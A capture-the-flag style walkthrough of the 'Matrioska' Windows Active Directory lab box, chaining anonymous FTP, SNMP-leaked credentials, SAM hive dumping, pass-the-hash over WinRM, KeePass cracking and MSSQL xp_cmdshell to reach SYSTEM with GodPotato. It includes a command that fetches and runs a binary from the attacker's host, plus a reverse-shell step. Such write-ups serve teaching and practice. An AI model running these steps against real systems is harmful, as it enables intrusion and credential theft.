Overview
Matrioska is a Windows Active Directory box that unpacks one layer at a time. Anonymous FTP leaks a log file that points at an SNMP community string, and the snmpwalk in turn hands us cleartext credentials for svc_smb. A readable SMB share gives up the SAM, SYSTEM and SECURITY hives, which we dump locally with secretsdump. NTLM authentication is disabled for the obvious accounts, so we --rid-brute for another user and reuse the local Administrator hash against dean to land a WinRM foothold. From there we crack a KeePass database pulled out of the Recycle Bin, recover MSSQL credentials, enable xp_cmdshell, and abuse SeImpersonatePrivilege with GodPotato to reach SYSTEM.
Enumeration
Nmap TCP
Matrioska ➜ nmap -Pn -sC -sV 10.0.33.31

Nmap TCP Scan
| Port | Service | Version | Notes |
|---|---|---|---|
| 21/tcp | ftp | Microsoft ftpd | Anonymous login allowed |
| 135/tcp | msrpc | Microsoft Windows RPC | |
| 139/tcp | netbios-ssn | Microsoft Windows netbios-ssn | |
| 445/tcp | microsoft-ds | SMB | |
| 5985/tcp | http | Microsoft HTTPAPI 2.0 | WinRM endpoint |
Table 1: Open TCP ports
The host is Windows, and FTP stands out immediately: anonymous access is enabled.
FTP Enumeration
Logging in anonymously, we find a logs directory and pull down the last_2025.txt log file.
Matrioska ➜ ftp 10.0.33.31
ftp> get last_2025.txt

Successfully Downloaded File
last_2025.txt Contents
Matrioska ➜ more last_2025.txt

Contents last_2025.txt
The log references SNMP, including what looks like a community string worth trying.
SNMP Enumeration
Using gdnceukal87wh66mxz109swklax567j8 as the community string, we run an snmpwalk.
Matrioska ➜ snmpwalk -v2c -c gdnceukal87wh66mxz109swklax567j8 10.0.33.31

Discovered Credentials
The walk exposes cleartext credentials.
- Username:
svc_smb - Password:
!Smbsvc_2025#66#
Credentialed Enumeration
With valid domain credentials we can start interacting with the Active Directory environment.
Share Enumeration
Matrioska ➜ nxc smb 10.0.33.31 -u svc_smb -p '!Smbsvc_2025#66#' --shares

Discovered Share
A non-default TMP share is readable.
TMP Share
We authenticate to the share and pull everything down for review.
Matrioska ➜ smbclient //10.0.33.31/TMP -U svc_smb
smb: \> prompt off
smb: \> mget *

Interacting With Share
Unzipping win11base.zip
The share holds several files. A second archive, windows_backup_2022.zip, is password-protected and we couldn’t crack it, but win11base.zip extracts cleanly and contains the SAM, SYSTEM and SECURITY registry hives.
Dumping the Hives
Matrioska ➜ secretsdump.py -sam System32/config/SAM -system System32/config/SYSTEM -security System32/config/SECURITY LOCAL

Successfully Retrieved Hashes
We recover local hashes for two users:
- Administrator —
e409434e38dfec25410d83696964c1e4 - Sam —
cba29c45445dda60bdb47c5ea1fc86c9
RID Brute
A Pass-the-Hash attack fails for both Administrator and Sam NTLM authentication is disabled for those accounts. We --rid-brute to look for another user that might still accept it.
Matrioska ➜ nxc smb 10.0.33.31 -u svc_smb -p '!Smbsvc_2025#66#' --rid-brute

Users enumerated
This surfaces an additional account: Dean.
Exploitation
Foothold as Dean
Reusing the local Administrator hash against the dean account succeeds, giving us a WinRM session.
Matrioska ➜ evil-winrm-py -i 10.0.33.31 -u dean -H e409434e38dfec25410d83696964c1e4

Logged in as Dean
Post-Enumeration
KeePass Databases
On Dean’s profile we find two KeePass databases and download both to crack them offline.
evil-winrm-py PS C:\Users\Dean> download test.kdbx
evil-winrm-py PS C:\Users\Dean> download test2.kdbx

KeePass files downloaded
Neither cracked, so we keep looking — and find more databases hidden in the Recycle Bin.
Discovering Database Files
evil-winrm-py PS C:\$Recycle.Bin> Get-ChildItem -Path 'C:\$Recycle.Bin' -Force -Recurse

Databases in RecycleBin
Cracking the Password
One of the recovered databases cracks against rockyou.txt.
Matrioska ➜ john keepass.hashes --wordlist=/opt/Tools/rockyou.txt

Password cracked
Password: lloyd7
Reviewing KeePass
Opening the database, we extract three sets of credentials.
Matrioska ➜ keepassxc-cli show -s '$RRQIR9O.kdbx' 'Windows/Administrator'
Matrioska ➜ keepassxc-cli show -s '$RRQIR9O.kdbx' 'Network/admin_vpn'
Matrioska ➜ keepassxc-cli show -s '$RRQIR9O.kdbx' 'Network/MSSQL'

Credentials recovered
| Account | Username | Password |
|---|---|---|
| Windows/Administrator | Administrator | Thiscouldbeaneasywin!% |
| Network/admin_vpn | [email protected] | fdsrew543@fdsfg##p!" |
| Network/MSSQL | sa | Imp0ss1bl3t0l3@kx! |
Full Port Scan
The sa account hints at a MSSQL instance, which the --rid-brute also referenced, but it isn’t on the default port. A full port scan followed by a service scan fingerprints it.
Matrioska ➜ sudo nmap -sC -sV -O -p 47001,49664-49668,49673,49674,50668 10.0.33.31
| Port | Service | Version |
|---|---|---|
| 47001/tcp | http | Microsoft HTTPAPI 2.0 (WinRM) |
| 49664–49674/tcp | msrpc | Windows RPC (dynamic) |
| 50668/tcp | ms-sql-s | Microsoft SQL Server |
MSSQL is listening on 50668.
Post-Exploitation
Exploiting MSSQL
We connect with the sa credentials and enable xp_cmdshell for command execution on the SQL server.
Matrioska ➜ mssqlclient.py sa:'Imp0ss1bl3t0l3@kx!'@10.0.33.31 -port 50668
SQL (sa dbo@master)> enable_xp_cmdshell

xp_cmdshell enabled
Gaining Administrative Access
Checking our privileges reveals SeImpersonatePrivilege, which we can abuse for a privilege escalation to SYSTEM.
SQL (sa dbo@master)> xp_cmdshell whoami /priv

SeImpersonatePrivilege present
Executing GodPotato
Upload to Target
# Setup HTTP server
Tools ➜ python3 -m http.server 8000
# Download to target
SQL (sa dbo@master)> xp_cmdshell "powershell iwr http://10.66.0.33:8000/GodPotato-NET4.exe -Outfile c:\Temp\GodPotato.exe"

Binary uploaded
Gaining a Shell
# Setup listener
Tools ➜ penelope -p 4444 -i ronin66
# Execute reverse shell
SQL (sa dbo@master)> xp_cmdshell "c:\temp\GodPotato.exe -cmd c:\temp\rev2.exe"

Administrative shell
We now have an administrative shell, fully unpacking the final layer of the box.

